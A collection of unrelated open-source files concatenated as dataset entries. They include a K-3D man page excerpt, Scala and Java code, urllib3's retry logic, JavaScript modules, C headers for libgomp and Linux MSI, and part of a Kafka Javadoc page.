Specifies the minimum message priority to log (valid values are "warning", "information", or "debug"). .RE .B --options [path] .RS Overrides the filepath for storing user options (this overrides both defaults and the K3D_OPTIONS_PATH environment variable, below). .RE .B --plugins [path] .RS Overrides the path(s) for loading plugin libraries (this overrides both defaults and the K3D_PLUGIN_PATHS environment variable, below). Multiple colon-delimited paths are allowed. Use "&" as a synonym for the default paths. .RE .B --script [file] .RS Play the given script after startup (use - for stdin). .RE .B --shadercache [path] .RS Overrides the path where compiled shaders will be cached (this overrides both defaults and the K3D_SHADER_CACHE_PATH environment variable, below). .RE .B --share [path] .RS Overrides the path for loading shared data files (this overrides both defaults and the K3D_SHARE_PATH environment variable, below). .RE .B --show-process .RS Prints the process name next to log messages. .RE .B --show-timestamps .RS Prints timestamps next to log messages. .RE .B --syslog .RS Logs messages to syslog. .RE .B -u, --ui [ui path] .RS Specifies the path to a user interface plugin (this overrides both the default and the K3D_USER_INTERFACE_PATH environment variable, below). As a special-case the string "none" can be used as a synonym for the Null (no gui) User Interface. .RE .B -H, --user-interface-help .RS Prints a user-interface specific help message and exits. .RE .B --version .RS Prints program version information and exits. .RE .SH USER INTERFACE OPTIONS .B --batch .RS Operate in batch (no user intervention) mode. .RE .B -n, --new .RS Creates a new document after startup. .RE .B --no-custom-layouts .RS Disable custom user interface layouts (useful when playing-back recorded tutorials, which rely on the default layout). .RE .B --no-splash .RS Disables the startup splash screen. .RE .B -o, --open [file] .RS Opens the given file after startup. .RE .B --show-tutorials .RS Opens the tutorials menu immediately following startup. .RE .B --tutorials [path] .RS Overrides the path for loading interactive tutorials (this overrides both defaults and the K3D_TUTORIALS_PATH environment variable, below). .RE .SH ENVIRONMENT VARIABLES .B K3D_EXTRA_OPTIONS .RS Provides additional options that are appended to the command-line at startup. Note that unlike other K-3D environment variables, options specified via K3D_EXTRA_OPTIONS will override options specified on the command line. .RE .B K3D_OPTIONS_PATH .RS Overrides the path for storing user options (this overrides the default, but can be overridden by the --options option, above). .RE .B K3D_PLUGIN_PATHS .RS Overrides the path(s) for loading plugin libraries (this overrides the default, but can be overridden by the --plugins option, above). Multiple colon-delimited paths are allowed. Use "&" as a synonym for the default paths. .RE .B K3D_SHADER_CACHE_PATH .RS Overrides the path where compiled shaders are cached (this overrides the default, but can be overridden by the --shadercache option, above). .RE .B K3D_SHARE_PATH .RS Overrides the path for loading shared data files (this overrides the default, but can be overridden by the --share option, above). .RE .B K3D_USER_INTERFACE_PATH .RS Overrides the path to the user interface plugin (this overrides the default, but can be overridden by the --ui option, above). .RE .SH AUTHORS Written by Timothy M. Shead <[email protected]>, and many others. .SH REPORTING BUGS Report bugs to <[email protected]> .SH COPYRIGHT @K3D_COPYRIGHT@ .br This software is licensed under the terms of the GNU General Public License; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. .SH SEE ALSO The K\-3D Home Page: http://www.k\-3d.org
{ "pile_set_name": "Github" }
/** * © 2019 Refinitiv. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the “License”); you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * limitations under the License. */ package cmwell.tools.data.downloader.streams import akka.actor.ActorSystem import akka.http.scaladsl.model.StatusCodes import akka.stream.scaladsl._ import akka.stream.{ActorMaterializer, Materializer} import akka.util.ByteString import org.scalatest._ import org.scalatest.prop._ import com.github.tomakehurst.wiremock.WireMockServer import com.github.tomakehurst.wiremock.client.WireMock import com.github.tomakehurst.wiremock.client.WireMock._ import com.github.tomakehurst.wiremock.core.WireMockConfiguration._ import scala.concurrent.Await import scala.concurrent.duration._ import org.scalatestplus.scalacheck.ScalaCheckPropertyChecks class DownloaderSpec extends PropSpec with ScalaCheckPropertyChecks with Matchers with BeforeAndAfterAll { implicit val system: ActorSystem = ActorSystem("reactive-tools-system") implicit val mat: Materializer = ActorMaterializer() val host = "localhost" val numUuidsPerRequest = 25 override protected def afterAll(): Unit = { system.terminate() super.afterAll() } property ("Download from uuids stream sends request blocks of uuids") { val uuids = Table( ("numUuids", "blocksToSend"), (1 , 1 ), (10 , 1 ), (20 , 1 ), (30 , 2 ), (60 , 3 ) ) forAll(uuids) { (numUuids: Int, expectedBlocksToSend: Int) => // setup wiremock val wireMockServer = new WireMockServer(wireMockConfig().dynamicPort()) wireMockServer.start() val port = wireMockServer.port WireMock.configureFor(host, port) // create sample uuids to download val data = for (x <- 1 to numUuids) yield s"uuid$x\n" // wiremock stubbing stubFor(post(urlPathMatching("/_out.*")) .willReturn(aResponse() .withBody("body") .withStatus(StatusCodes.OK.intValue))) // create uuid input-stream val in = Source.fromIterator(() => data.iterator) .map(ByteString.apply) .runWith(StreamConverters.asInputStream()) // download mock data Await.result ( Downloader.downloadFromUuidInputStream( baseUrl = s"$host:$port", numInfotonsPerRequest = numUuidsPerRequest, in = in) ,30.seconds ) // verifying val numBlocksSent = findAll(postRequestedFor((urlPathMatching("/_out.*")))).size // teardown wiremock wireMockServer.shutdown() wireMockServer.stop() while (wireMockServer.isRunning) {} wireMockServer.resetRequests() numBlocksSent should be (expectedBlocksToSend) } } }
{ "pile_set_name": "Github" }
/** * Copyright 2016 Pinterest, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.pinterest.deployservice.events; public interface EventSender { void sendDeployEvent(String what, String tags, String data) throws Exception; }
{ "pile_set_name": "Github" }
{ "date": "2015-11-02 10:00:00", "file_url": "https://github.com/newmarcel/KeepingYouAwake/releases/download/1.3/KeepingYouAwake-1.3.zip", "file_length": 1483228, "file_version": "130", "file_short_version": "1.3" }
{ "pile_set_name": "Github" }
var fiber = new Fiber { IO.print("before") true.unknownMethod IO.print("after") } IO.print(fiber.try()) // expect: before // expect: Bool does not implement 'unknownMethod'. IO.print("after try") // expect: after try
{ "pile_set_name": "Github" }
require('../../modules/es6.regexp.constructor'); require('../../modules/es6.regexp.to-string'); require('../../modules/es6.regexp.flags'); require('../../modules/es6.regexp.match'); require('../../modules/es6.regexp.replace'); require('../../modules/es6.regexp.search'); require('../../modules/es6.regexp.split'); require('../../modules/core.regexp.escape'); module.exports = require('../../modules/_core').RegExp;
{ "pile_set_name": "Github" }
package com.mashibing.bean; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableId; import java.io.Serializable; /** * <p> * 公表关联用户 * </p> * * @author lian * @since 2020-04-18 */ public class FyPublicBoxUser implements Serializable { private static final long serialVersionUID=1L; /** * 自动增长id */ @TableId(value = "id", type = IdType.AUTO) private Integer id; /** * 表号 */ private String publicBoxId; /** * 房间号 */ private Integer cellId; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getPublicBoxId() { return publicBoxId; } public void setPublicBoxId(String publicBoxId) { this.publicBoxId = publicBoxId; } public Integer getCellId() { return cellId; } public void setCellId(Integer cellId) { this.cellId = cellId; } @Override public String toString() { return "FyPublicBoxUser{" + "id=" + id + ", publicBoxId=" + publicBoxId + ", cellId=" + cellId + "}"; } }
{ "pile_set_name": "Github" }
from __future__ import absolute_import import time import logging from collections import namedtuple from itertools import takewhile import email import re from ..exceptions import ( ConnectTimeoutError, MaxRetryError, ProtocolError, ReadTimeoutError, ResponseError, InvalidHeader, ) from ..packages import six log = logging.getLogger(__name__) # Data structure for representing the metadata of requests that result in a retry. RequestHistory = namedtuple('RequestHistory', ["method", "url", "error", "status", "redirect_location"]) class Retry(object): """ Retry configuration. Each retry attempt will create a new Retry object with updated values, so they can be safely reused. Retries can be defined as a default for a pool:: retries = Retry(connect=5, read=2, redirect=5) http = PoolManager(retries=retries) response = http.request('GET', 'http://example.com/') Or per-request (which overrides the default for the pool):: response = http.request('GET', 'http://example.com/', retries=Retry(10)) Retries can be disabled by passing ``False``:: response = http.request('GET', 'http://example.com/', retries=False) Errors will be wrapped in :class:`~urllib3.exceptions.MaxRetryError` unless retries are disabled, in which case the causing exception will be raised. :param int total: Total number of retries to allow. Takes precedence over other counts. Set to ``None`` to remove this constraint and fall back on other counts. It's a good idea to set this to some sensibly-high value to account for unexpected edge cases and avoid infinite retry loops. Set to ``0`` to fail on the first retry. Set to ``False`` to disable and imply ``raise_on_redirect=False``. :param int connect: How many connection-related errors to retry on. These are errors raised before the request is sent to the remote server, which we assume has not triggered the server to process the request. Set to ``0`` to fail on the first retry of this type. :param int read: How many times to retry on read errors. These errors are raised after the request was sent to the server, so the request may have side-effects. Set to ``0`` to fail on the first retry of this type. :param int redirect: How many redirects to perform. Limit this to avoid infinite redirect loops. A redirect is a HTTP response with a status code 301, 302, 303, 307 or 308. Set to ``0`` to fail on the first retry of this type. Set to ``False`` to disable and imply ``raise_on_redirect=False``. :param int status: How many times to retry on bad status codes. These are retries made on responses, where status code matches ``status_forcelist``. Set to ``0`` to fail on the first retry of this type. :param iterable method_whitelist: Set of uppercased HTTP method verbs that we should retry on. By default, we only retry on methods which are considered to be idempotent (multiple requests with the same parameters end with the same state). See :attr:`Retry.DEFAULT_METHOD_WHITELIST`. Set to a ``False`` value to retry on any verb. :param iterable status_forcelist: A set of integer HTTP status codes that we should force a retry on. A retry is initiated if the request method is in ``method_whitelist`` and the response status code is in ``status_forcelist``. By default, this is disabled with ``None``. :param float backoff_factor: A backoff factor to apply between attempts after the second try (most errors are resolved immediately by a second try without a delay). urllib3 will sleep for:: {backoff factor} * (2 ** ({number of total retries} - 1)) seconds. If the backoff_factor is 0.1, then :func:`.sleep` will sleep for [0.0s, 0.2s, 0.4s, ...] between retries. It will never be longer than :attr:`Retry.BACKOFF_MAX`. By default, backoff is disabled (set to 0). :param bool raise_on_redirect: Whether, if the number of redirects is exhausted, to raise a MaxRetryError, or to return a response with a response code in the 3xx range. :param bool raise_on_status: Similar meaning to ``raise_on_redirect``: whether we should raise an exception, or return a response, if status falls in ``status_forcelist`` range and retries have been exhausted. :param tuple history: The history of the request encountered during each call to :meth:`~Retry.increment`. The list is in the order the requests occurred. Each list item is of class :class:`RequestHistory`. :param bool respect_retry_after_header: Whether to respect Retry-After header on status codes defined as :attr:`Retry.RETRY_AFTER_STATUS_CODES` or not. :param iterable remove_headers_on_redirect: Sequence of headers to remove from the request when a response indicating a redirect is returned before firing off the redirected request. """ DEFAULT_METHOD_WHITELIST = frozenset([ 'HEAD', 'GET', 'PUT', 'DELETE', 'OPTIONS', 'TRACE']) RETRY_AFTER_STATUS_CODES = frozenset([413, 429, 503]) DEFAULT_REDIRECT_HEADERS_BLACKLIST = frozenset(['Authorization']) #: Maximum backoff time. BACKOFF_MAX = 120 def __init__(self, total=10, connect=None, read=None, redirect=None, status=None, method_whitelist=DEFAULT_METHOD_WHITELIST, status_forcelist=None, backoff_factor=0, raise_on_redirect=True, raise_on_status=True, history=None, respect_retry_after_header=True, remove_headers_on_redirect=DEFAULT_REDIRECT_HEADERS_BLACKLIST): self.total = total self.connect = connect self.read = read self.status = status if redirect is False or total is False: redirect = 0 raise_on_redirect = False self.redirect = redirect self.status_forcelist = status_forcelist or set() self.method_whitelist = method_whitelist self.backoff_factor = backoff_factor self.raise_on_redirect = raise_on_redirect self.raise_on_status = raise_on_status self.history = history or tuple() self.respect_retry_after_header = respect_retry_after_header self.remove_headers_on_redirect = frozenset([ h.lower() for h in remove_headers_on_redirect]) def new(self, **kw): params = dict( total=self.total, connect=self.connect, read=self.read, redirect=self.redirect, status=self.status, method_whitelist=self.method_whitelist, status_forcelist=self.status_forcelist, backoff_factor=self.backoff_factor, raise_on_redirect=self.raise_on_redirect, raise_on_status=self.raise_on_status, history=self.history, remove_headers_on_redirect=self.remove_headers_on_redirect ) params.update(kw) return type(self)(**params) @classmethod def from_int(cls, retries, redirect=True, default=None): """ Backwards-compatibility for the old retries format.""" if retries is None: retries = default if default is not None else cls.DEFAULT if isinstance(retries, Retry): return retries redirect = bool(redirect) and None new_retries = cls(retries, redirect=redirect) log.debug("Converted retries value: %r -> %r", retries, new_retries) return new_retries def get_backoff_time(self): """ Formula for computing the current backoff :rtype: float """ # We want to consider only the last consecutive errors sequence (Ignore redirects). consecutive_errors_len = len(list(takewhile(lambda x: x.redirect_location is None, reversed(self.history)))) if consecutive_errors_len <= 1: return 0 backoff_value = self.backoff_factor * (2 ** (consecutive_errors_len - 1)) return min(self.BACKOFF_MAX, backoff_value) def parse_retry_after(self, retry_after): # Whitespace: https://tools.ietf.org/html/rfc7230#section-3.2.4 if re.match(r"^\s*[0-9]+\s*$", retry_after): seconds = int(retry_after) else: retry_date_tuple = email.utils.parsedate(retry_after) if retry_date_tuple is None: raise InvalidHeader("Invalid Retry-After header: %s" % retry_after) retry_date = time.mktime(retry_date_tuple) seconds = retry_date - time.time() if seconds < 0: seconds = 0 return seconds def get_retry_after(self, response): """ Get the value of Retry-After in seconds. """ retry_after = response.getheader("Retry-After") if retry_after is None: return None return self.parse_retry_after(retry_after) def sleep_for_retry(self, response=None): retry_after = self.get_retry_after(response) if retry_after: time.sleep(retry_after) return True return False def _sleep_backoff(self): backoff = self.get_backoff_time() if backoff <= 0: return time.sleep(backoff) def sleep(self, response=None): """ Sleep between retry attempts. This method will respect a server's ``Retry-After`` response header and sleep the duration of the time requested. If that is not present, it will use an exponential backoff. By default, the backoff factor is 0 and this method will return immediately. """ if response: slept = self.sleep_for_retry(response) if slept: return self._sleep_backoff() def _is_connection_error(self, err): """ Errors when we're fairly sure that the server did not receive the request, so it should be safe to retry. """ return isinstance(err, ConnectTimeoutError) def _is_read_error(self, err): """ Errors that occur after the request has been started, so we should assume that the server began processing it. """ return isinstance(err, (ReadTimeoutError, ProtocolError)) def _is_method_retryable(self, method): """ Checks if a given HTTP method should be retried upon, depending if it is included on the method whitelist. """ if self.method_whitelist and method.upper() not in self.method_whitelist: return False return True def is_retry(self, method, status_code, has_retry_after=False): """ Is this method/status code retryable? (Based on whitelists and control variables such as the number of total retries to allow, whether to respect the Retry-After header, whether this header is present, and whether the returned status code is on the list of status codes to be retried upon on the presence of the aforementioned header) """ if not self._is_method_retryable(method): return False if self.status_forcelist and status_code in self.status_forcelist: return True return (self.total and self.respect_retry_after_header and has_retry_after and (status_code in self.RETRY_AFTER_STATUS_CODES)) def is_exhausted(self): """ Are we out of retries? """ retry_counts = (self.total, self.connect, self.read, self.redirect, self.status) retry_counts = list(filter(None, retry_counts)) if not retry_counts: return False return min(retry_counts) < 0 def increment(self, method=None, url=None, response=None, error=None, _pool=None, _stacktrace=None): """ Return a new Retry object with incremented retry counters. :param response: A response object, or None, if the server did not return a response. :type response: :class:`~urllib3.response.HTTPResponse` :param Exception error: An error encountered during the request, or None if the response was received successfully. :return: A new ``Retry`` object. """ if self.total is False and error: # Disabled, indicate to re-raise the error. raise six.reraise(type(error), error, _stacktrace) total = self.total if total is not None: total -= 1 connect = self.connect read = self.read redirect = self.redirect status_count = self.status cause = 'unknown' status = None redirect_location = None if error and self._is_connection_error(error): # Connect retry? if connect is False: raise six.reraise(type(error), error, _stacktrace) elif connect is not None: connect -= 1 elif error and self._is_read_error(error): # Read retry? if read is False or not self._is_method_retryable(method): raise six.reraise(type(error), error, _stacktrace) elif read is not None: read -= 1 elif response and response.get_redirect_location(): # Redirect retry? if redirect is not None: redirect -= 1 cause = 'too many redirects' redirect_location = response.get_redirect_location() status = response.status else: # Incrementing because of a server error like a 500 in # status_forcelist and a the given method is in the whitelist cause = ResponseError.GENERIC_ERROR if response and response.status: if status_count is not None: status_count -= 1 cause = ResponseError.SPECIFIC_ERROR.format( status_code=response.status) status = response.status history = self.history + (RequestHistory(method, url, error, status, redirect_location),) new_retry = self.new( total=total, connect=connect, read=read, redirect=redirect, status=status_count, history=history) if new_retry.is_exhausted(): raise MaxRetryError(_pool, url, error or ResponseError(cause)) log.debug("Incremented Retry for (url='%s'): %r", url, new_retry) return new_retry def __repr__(self): return ('{cls.__name__}(total={self.total}, connect={self.connect}, ' 'read={self.read}, redirect={self.redirect}, status={self.status})').format( cls=type(self), self=self) # For backwards compatibility (equivalent to pre-v1.9): Retry.DEFAULT = Retry(3)
{ "pile_set_name": "Github" }
import React from 'react'; import {useHistory} from 'react-router'; import {Notice} from '@unilogin/react'; import {useServices} from '../../hooks'; export const WelcomeScreen = () => { const history = useHistory(); const {sdk} = useServices(); const notice = sdk.getNotice(); return ( <div className="main-bg"> <div className="welcome-box-wrapper"> <div className="box welcome-box"> <Notice message={notice} /> <div className="welcome-box-content"> <h1 className="welcome-box-title">Welcome in the<br/> <span>Jarvis Network</span></h1> <button onClick={() => history.push('/connect/selector')} className="welcome-box-connect"> Connect to existing account </button> <div className="row justify-content-center align-items-center"> <p className="welcome-box-text">No account yet?</p> <button onClick={() => history.push('/terms')} className="welcome-box-create">Create one</button> </div> </div> </div> </div> </div> ); };
{ "pile_set_name": "Github" }
// Boost.Geometry.Index varray // Unit Test // Copyright (c) 2012-2013 Adam Wulkiewicz, Lodz, Poland. // Copyright (c) 2012-2013 Andrew Hundt. // Use, modification and distribution is subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_GEOMETRY_INDEX_TEST_VARRAY_TEST_HPP #define BOOST_GEOMETRY_INDEX_TEST_VARRAY_TEST_HPP #include <boost/geometry/index/detail/varray.hpp> #include <boost/shared_ptr.hpp> #include "movable.hpp" class value_ndc { public: explicit value_ndc(size_t a) : aa(a) {} ~value_ndc() {} bool operator==(value_ndc const& v) const { return aa == v.aa; } bool operator<(value_ndc const& v) const { return aa < v.aa; } private: value_ndc(value_ndc const&) {} value_ndc & operator=(value_ndc const&) { return *this; } size_t aa; }; class value_nd { public: explicit value_nd(size_t a) : aa(a) {} ~value_nd() {} bool operator==(value_nd const& v) const { return aa == v.aa; } bool operator<(value_nd const& v) const { return aa < v.aa; } private: size_t aa; }; class value_nc { public: explicit value_nc(size_t a = 0) : aa(a) {} ~value_nc() {} bool operator==(value_nc const& v) const { return aa == v.aa; } bool operator<(value_nc const& v) const { return aa < v.aa; } private: value_nc(value_nc const&) {} value_nc & operator=(value_ndc const&) { return *this; } size_t aa; }; class counting_value { BOOST_COPYABLE_AND_MOVABLE(counting_value) public: explicit counting_value(size_t a = 0, size_t b = 0) : aa(a), bb(b) { ++c(); } counting_value(counting_value const& v) : aa(v.aa), bb(v.bb) { ++c(); } counting_value(BOOST_RV_REF(counting_value) p) : aa(p.aa), bb(p.bb) { p.aa = 0; p.bb = 0; ++c(); } // Move constructor counting_value& operator=(BOOST_RV_REF(counting_value) p) { aa = p.aa; p.aa = 0; bb = p.bb; p.bb = 0; return *this; } // Move assignment counting_value& operator=(BOOST_COPY_ASSIGN_REF(counting_value) p) { aa = p.aa; bb = p.bb; return *this; } // Copy assignment ~counting_value() { --c(); } bool operator==(counting_value const& v) const { return aa == v.aa && bb == v.bb; } bool operator<(counting_value const& v) const { return aa < v.aa || ( aa == v.aa && bb < v.bb ); } static size_t count() { return c(); } private: static size_t & c() { static size_t co = 0; return co; } size_t aa, bb; }; namespace boost { template <> struct has_nothrow_move<counting_value> { static const bool value = true; }; } class shptr_value { typedef boost::shared_ptr<size_t> Ptr; public: explicit shptr_value(size_t a = 0) : m_ptr(new size_t(a)) {} bool operator==(shptr_value const& v) const { return *m_ptr == *(v.m_ptr); } bool operator<(shptr_value const& v) const { return *m_ptr < *(v.m_ptr); } private: boost::shared_ptr<size_t> m_ptr; }; #endif // BOOST_GEOMETRY_INDEX_TEST_VARRAY_TEST_HPP
{ "pile_set_name": "Github" }
/* Copyright (C) 2008-2020 Free Software Foundation, Inc. Contributed by Jakub Jelinek <[email protected]>. This file is part of the GNU Offloading and Multi Processing Library (libgomp). Libgomp is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. Libgomp is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. Under Section 7 of GPL version 3, you are granted additional permissions described in the GCC Runtime Library Exception, version 3.1, as published by the Free Software Foundation. You should have received a copy of the GNU General Public License and a copy of the GCC Runtime Library Exception along with this program; see the files COPYING3 and COPYING.RUNTIME respectively. If not, see <http://www.gnu.org/licenses/>. */ /* This is a Linux specific implementation of a mutex synchronization mechanism for libgomp. This type is private to the library. This implementation uses atomic instructions and the futex syscall. */ #ifndef GOMP_WAIT_H #define GOMP_WAIT_H 1 #include "libgomp.h" #include <errno.h> #define FUTEX_WAIT 0 #define FUTEX_WAKE 1 #define FUTEX_PRIVATE_FLAG 128 #ifdef HAVE_ATTRIBUTE_VISIBILITY # pragma GCC visibility push(hidden) #endif extern int gomp_futex_wait, gomp_futex_wake; #include <futex.h> static inline int do_spin (int *addr, int val) { unsigned long long i, count = gomp_spin_count_var; if (__builtin_expect (__atomic_load_n (&gomp_managed_threads, MEMMODEL_RELAXED) > gomp_available_cpus, 0)) count = gomp_throttled_spin_count_var; for (i = 0; i < count; i++) if (__builtin_expect (__atomic_load_n (addr, MEMMODEL_RELAXED) != val, 0)) return 0; else cpu_relax (); return 1; } static inline void do_wait (int *addr, int val) { if (do_spin (addr, val)) futex_wait (addr, val); } #ifdef HAVE_ATTRIBUTE_VISIBILITY # pragma GCC visibility pop #endif #endif /* GOMP_WAIT_H */
{ "pile_set_name": "Github" }
package com.ullink.slack.simpleslackapi; public class SlackFile { private String id; private String name; private String title; private String mimetype; private String filetype; private String url; private String urlDownload; private String urlPrivate; private String urlPrivateDownload; private String thumb64; private String thumb80; private String thumb160; private String thumb360; private String thumb480; private String thumb720; private Long imageExifRotation; private Long originalW; private Long originalH; private String permalink; private String permalinkPublic; private String comment; public SlackFile() { } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getMimetype() { return mimetype; } public void setMimetype(String mimetype) { this.mimetype = mimetype; } public String getFiletype() { return filetype; } public void setFiletype(String filetype) { this.filetype = filetype; } @Deprecated public String getUrl() { return url; } @Deprecated public void setUrl(String url) { this.url = url; } @Deprecated public String getUrlDownload() { return urlDownload; } @Deprecated public void setUrlDownload(String urlDownload) { this.urlDownload = urlDownload; } public String getUrlPrivate() { return urlPrivate; } public void setUrlPrivate(String urlPrivate) { this.urlPrivate = urlPrivate; } public String getUrlPrivateDownload() { return urlPrivateDownload; } public void setUrlPrivateDownload(String urlPrivateDownload) { this.urlPrivateDownload = urlPrivateDownload; } public String getThumb64() { return thumb64; } public void setThumb64(String thumb64) { this.thumb64 = thumb64; } public String getThumb80() { return thumb80; } public void setThumb80(String thumb80) { this.thumb80 = thumb80; } public String getThumb160() { return thumb160; } public void setThumb160(String thumb160) { this.thumb160 = thumb160; } public String getThumb360() { return thumb360; } public void setThumb360(String thumb360) { this.thumb360 = thumb360; } public String getThumb480() { return thumb480; } public void setThumb480(String thumb480) { this.thumb480 = thumb480; } public String getThumb720() { return thumb720; } public void setThumb720(String thumb720) { this.thumb720 = thumb720; } public Long getImageExifRotation() { return imageExifRotation; } public void setImageExifRotation(Long imageExifRotation) { this.imageExifRotation = imageExifRotation; } public Long getOriginalW() { return originalW; } public void setOriginalW(Long originalW) { this.originalW = originalW; } public Long getOriginalH() { return originalH; } public void setOriginalH(Long originalH) { this.originalH = originalH; } public String getPermalink() { return permalink; } public void setPermalink(String permalink) { this.permalink = permalink; } public String getPermalinkPublic() { return permalinkPublic; } public void setPermalinkPublic(String permalinkPublic) { this.permalinkPublic = permalinkPublic; } public String getComment() { return comment; } public void setComment(String comment) { this.comment = comment; } }
{ "pile_set_name": "Github" }
var baseFill = require('../internal/baseFill'), isIterateeCall = require('../internal/isIterateeCall'); /** * Fills elements of `array` with `value` from `start` up to, but not * including, `end`. * * **Note:** This method mutates `array`. * * @static * @memberOf _ * @category Array * @param {Array} array The array to fill. * @param {*} value The value to fill `array` with. * @param {number} [start=0] The start position. * @param {number} [end=array.length] The end position. * @returns {Array} Returns `array`. * @example * * var array = [1, 2, 3]; * * _.fill(array, 'a'); * console.log(array); * // => ['a', 'a', 'a'] * * _.fill(Array(3), 2); * // => [2, 2, 2] * * _.fill([4, 6, 8], '*', 1, 2); * // => [4, '*', 8] */ function fill(array, value, start, end) { var length = array ? array.length : 0; if (!length) { return []; } if (start && typeof start != 'number' && isIterateeCall(array, value, start)) { start = 0; end = length; } return baseFill(array, value, start, end); } module.exports = fill;
{ "pile_set_name": "Github" }
/* * Copyright (C) 2003-2004 Intel * Copyright (C) Tom Long Nguyen ([email protected]) */ #ifndef MSI_H #define MSI_H #define PCI_MSIX_ENTRY_SIZE 16 #define PCI_MSIX_ENTRY_LOWER_ADDR 0 #define PCI_MSIX_ENTRY_UPPER_ADDR 4 #define PCI_MSIX_ENTRY_DATA 8 #define PCI_MSIX_ENTRY_VECTOR_CTRL 12 #define msi_control_reg(base) (base + PCI_MSI_FLAGS) #define msi_lower_address_reg(base) (base + PCI_MSI_ADDRESS_LO) #define msi_upper_address_reg(base) (base + PCI_MSI_ADDRESS_HI) #define msi_data_reg(base, is64bit) \ (base + ((is64bit == 1) ? PCI_MSI_DATA_64 : PCI_MSI_DATA_32)) #define msi_mask_reg(base, is64bit) \ (base + ((is64bit == 1) ? PCI_MSI_MASK_64 : PCI_MSI_MASK_32)) #define is_64bit_address(control) (!!(control & PCI_MSI_FLAGS_64BIT)) #define is_mask_bit_support(control) (!!(control & PCI_MSI_FLAGS_MASKBIT)) #define msix_table_offset_reg(base) (base + 0x04) #define msix_pba_offset_reg(base) (base + 0x08) #define msix_table_size(control) ((control & PCI_MSIX_FLAGS_QSIZE)+1) #define multi_msix_capable(control) msix_table_size((control)) #endif /* MSI_H */
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (9.0.1) on Tue Oct 23 23:20:01 IST 2018 --> <title>WindowStoreIterator (kafka 2.0.0 API)</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="date" content="2018-10-23"> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../../../../../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../../../../../script.js"></script> <script type="text/javascript" src="../../../../../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../../../../../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../../../../../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif]--> <script type="text/javascript" src="../../../../../jquery/jquery-1.10.2.js"></script> <script type="text/javascript" src="../../../../../jquery/jquery-ui.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="WindowStoreIterator (kafka 2.0.0 API)"; } } catch(err) { } //--> var methods = {"i0":6}; var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],4:["t3","Abstract Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; var pathtoroot = "../../../../../";loadScripts(document, 'script');</script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="fixedNav"> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../org/apache/kafka/streams/state/WindowStore.html" title="interface in org.apache.kafka.streams.state"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li>Next&nbsp;Class</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/kafka/streams/state/WindowStoreIterator.html" target="_top">Frames</a></li> <li><a href="WindowStoreIterator.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <ul class="navListSearch"> <li><span>SEARCH:&nbsp;</span> <input type="text" id="search" value=" " disabled="disabled"> <input type="reset" id="reset" value=" " disabled="disabled"> </li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> 